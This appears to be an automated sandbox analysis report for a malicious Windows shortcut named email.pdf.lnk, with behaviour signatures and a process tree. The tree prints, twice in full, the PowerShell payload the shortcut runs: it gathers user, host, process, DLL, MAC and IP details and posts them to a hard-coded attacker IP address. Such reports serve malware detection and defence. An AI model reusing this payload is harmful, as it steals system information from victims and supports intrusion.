Analysis
- max time kernel
145s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
03/04/2024, 15:35
General
- Target email.pdf.lnk
- Size 11KB
- Sample240403-s1bvxafc95
- SHA256 c9a10c0c41de776ac52bf65d813a348d2d4cbb24b566c4ef91debcdb438d5a37
Malware Config
Signatures
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 27 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\email.pdf.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /k powershell "$name='test';try{$start=Get-Date -Format 'yyyy-MM-dd HH:mm:ss'}catch{};try{Add-Type -AssemblyName System.Windows.Forms;}catch{};try {$screenBounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$screenWidth=$screenBounds.Width;$screenHeight=$screenBounds.Height;}catch {};try{$processors=(Get-WMIObject -Class Win32_Processor).NumberOfLogicalProcessors;}catch {};try{$computername=$env:computername;}catch {};try{$username=$env:username;}catch{};try{$x=[System.Windows.Forms.Cursor]::Position.X;$y=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$DLLS=New-Object System.Collections.ArrayList;$LoadedDLLs=Get-Process|Select -Expand Modules -ErrorAction SilentlyContinue;ForEach ($dll in $LoadedDLLs) {if($dll.modulename.endswith('.dll', [StringComparison]::Ordinal)){[void]$DLLS.Add($dll.FileName);}}}catch{};try{$Processes=New-Object System.Collections.ArrayList;$RunningProcesses=Get-Process;ForEach ($process in $RunningProcesses) {[void]$Processes.Add($process.ProcessName);}}catch{};try{$x1=[System.Windows.Forms.Cursor]::Position.X;$y1=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$memory=(Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize/1048576;}catch{};try{$diskSize=(GWMI -Class Win32_LogicalDisk|Measure-Object -Sum Size|Select-Object -Expand Sum) / 1073741824 }catch{};try{$MACAddresses=Get-WmiObject Win32_NetworkAdapterConfiguration|Select -ExpandProperty MACAddress}catch{};try{$runningProcesses=(Get-Process).count}catch{};try{$regSize=GWMI -Class Win32_Registry|Select-Object -Expand CurrentSize}catch{};try{$domain=(Get-WMIObject -Class Win32_ComputerSystem).Domain}catch{};try{$x2=[System.Windows.Forms.Cursor]::Position.X;$y2=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$end=Get-Date -Format 'yyyy-MM-dd HH:mm:ss'}catch{};try{$ip=curl 'http://ip-api.com/json/?fields=status,message,country,isp,org,mobile,proxy,hosting,query' -UseBasicParsing;}catch{};$myObject=[PSCustomObject]@{name=$name;screen=$screenWidth.toString()+':'+$screenHeight.toString();processors=$processors;computername=$computername;username=$username;cursor=$x.toString()+':'+$y.toString()+'|'+$x1.toString()+':'+$y1.toString()+'|'+$x2.toString()+':'+$y2.toString();dlls=$DLLS;processes=$Processes;memory=$memory;disksize=$diskSize;mac=$MACAddresses;runningProcesses=$runningProcesses;regSize=$regSize;domain=$domain;ip=$ip.content;start=$start;end=$end};$u='http'+'://185.236'+'.228.29/get/info';curl -method POST -body ($myObject|ConvertTo-Json) -uri $u -UseBasicParsing;"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$name='test';try{$start=Get-Date -Format 'yyyy-MM-dd HH:mm:ss'}catch{};try{Add-Type -AssemblyName System.Windows.Forms;}catch{};try {$screenBounds=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$screenWidth=$screenBounds.Width;$screenHeight=$screenBounds.Height;}catch {};try{$processors=(Get-WMIObject -Class Win32_Processor).NumberOfLogicalProcessors;}catch {};try{$computername=$env:computername;}catch {};try{$username=$env:username;}catch{};try{$x=[System.Windows.Forms.Cursor]::Position.X;$y=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$DLLS=New-Object System.Collections.ArrayList;$LoadedDLLs=Get-Process|Select -Expand Modules -ErrorAction SilentlyContinue;ForEach ($dll in $LoadedDLLs) {if($dll.modulename.endswith('.dll', [StringComparison]::Ordinal)){[void]$DLLS.Add($dll.FileName);}}}catch{};try{$Processes=New-Object System.Collections.ArrayList;$RunningProcesses=Get-Process;ForEach ($process in $RunningProcesses) {[void]$Processes.Add($process.ProcessName);}}catch{};try{$x1=[System.Windows.Forms.Cursor]::Position.X;$y1=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$memory=(Get-Ciminstance Win32_OperatingSystem).TotalVisibleMemorySize/1048576;}catch{};try{$diskSize=(GWMI -Class Win32_LogicalDisk|Measure-Object -Sum Size|Select-Object -Expand Sum) / 1073741824 }catch{};try{$MACAddresses=Get-WmiObject Win32_NetworkAdapterConfiguration|Select -ExpandProperty MACAddress}catch{};try{$runningProcesses=(Get-Process).count}catch{};try{$regSize=GWMI -Class Win32_Registry|Select-Object -Expand CurrentSize}catch{};try{$domain=(Get-WMIObject -Class Win32_ComputerSystem).Domain}catch{};try{$x2=[System.Windows.Forms.Cursor]::Position.X;$y2=[System.Windows.Forms.Cursor]::Position.Y;}catch{};try{$end=Get-Date -Format 'yyyy-MM-dd HH:mm:ss'}catch{};try{$ip=curl 'http://ip-api.com/json/?fields=status,message,country,isp,org,mobile,proxy,hosting,query' -UseBasicParsing;}catch{};$myObject=[PSCustomObject]@{name=$name;screen=$screenWidth.toString()+':'+$screenHeight.toString();processors=$processors;computername=$computername;username=$username;cursor=$x.toString()+':'+$y.toString()+'|'+$x1.toString()+':'+$y1.toString()+'|'+$x2.toString()+':'+$y2.toString();dlls=$DLLS;processes=$Processes;memory=$memory;disksize=$diskSize;mac=$MACAddresses;runningProcesses=$runningProcesses;regSize=$regSize;domain=$domain;ip=$ip.content;start=$start;end=$end};$u='http'+'://185.236'+'.228.29/get/info';curl -method POST -body ($myObject|ConvertTo-Json) -uri $u -UseBasicParsing;"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_yrd4xb3s.0ly.ps1
memory/3864-22-0x0000000008D30000-0x00000000092D4000-memory.dmp
memory/3864-29-0x0000000071380000-0x00000000716D4000-memory.dmp
memory/3864-3-0x0000000005490000-0x00000000054A0000-memory.dmp
memory/3864-4-0x0000000005AD0000-0x00000000060F8000-memory.dmp
memory/3864-5-0x0000000005A30000-0x0000000005A52000-memory.dmp
memory/3864-6-0x0000000006230000-0x0000000006296000-memory.dmp
memory/3864-7-0x00000000062A0000-0x0000000006306000-memory.dmp
memory/3864-2-0x0000000005490000-0x00000000054A0000-memory.dmp
memory/3864-17-0x0000000006310000-0x0000000006664000-memory.dmp
memory/3864-18-0x00000000068D0000-0x00000000068EE000-memory.dmp
memory/3864-19-0x00000000068F0000-0x000000000693C000-memory.dmp
memory/3864-20-0x0000000008100000-0x000000000877A000-memory.dmp
memory/3864-21-0x0000000006DF0000-0x0000000006E0A000-memory.dmp
memory/3864-1-0x0000000074E40000-0x00000000755F0000-memory.dmp
memory/3864-0-0x0000000005300000-0x0000000005336000-memory.dmp
memory/3864-23-0x0000000007CF0000-0x0000000007D82000-memory.dmp
memory/3864-40-0x0000000008780000-0x0000000008823000-memory.dmp
memory/3864-26-0x000000007FDE0000-0x000000007FDF0000-memory.dmp
memory/3864-27-0x0000000008050000-0x0000000008082000-memory.dmp
memory/3864-28-0x0000000070C60000-0x0000000070CAC000-memory.dmp
memory/3864-24-0x0000000007D90000-0x0000000007E26000-memory.dmp
memory/3864-39-0x0000000008090000-0x00000000080AE000-memory.dmp
memory/3864-25-0x0000000007C80000-0x0000000007CA2000-memory.dmp
memory/3864-41-0x0000000008830000-0x000000000883A000-memory.dmp
memory/3864-42-0x0000000008870000-0x000000000889A000-memory.dmp
memory/3864-43-0x00000000088A0000-0x00000000088C4000-memory.dmp
memory/3864-44-0x0000000005490000-0x00000000054A0000-memory.dmp
memory/3864-45-0x00000000094B0000-0x0000000009672000-memory.dmp
memory/3864-46-0x0000000009BB0000-0x000000000A0DC000-memory.dmp
memory/3864-49-0x0000000074E40000-0x00000000755F0000-memory.dmp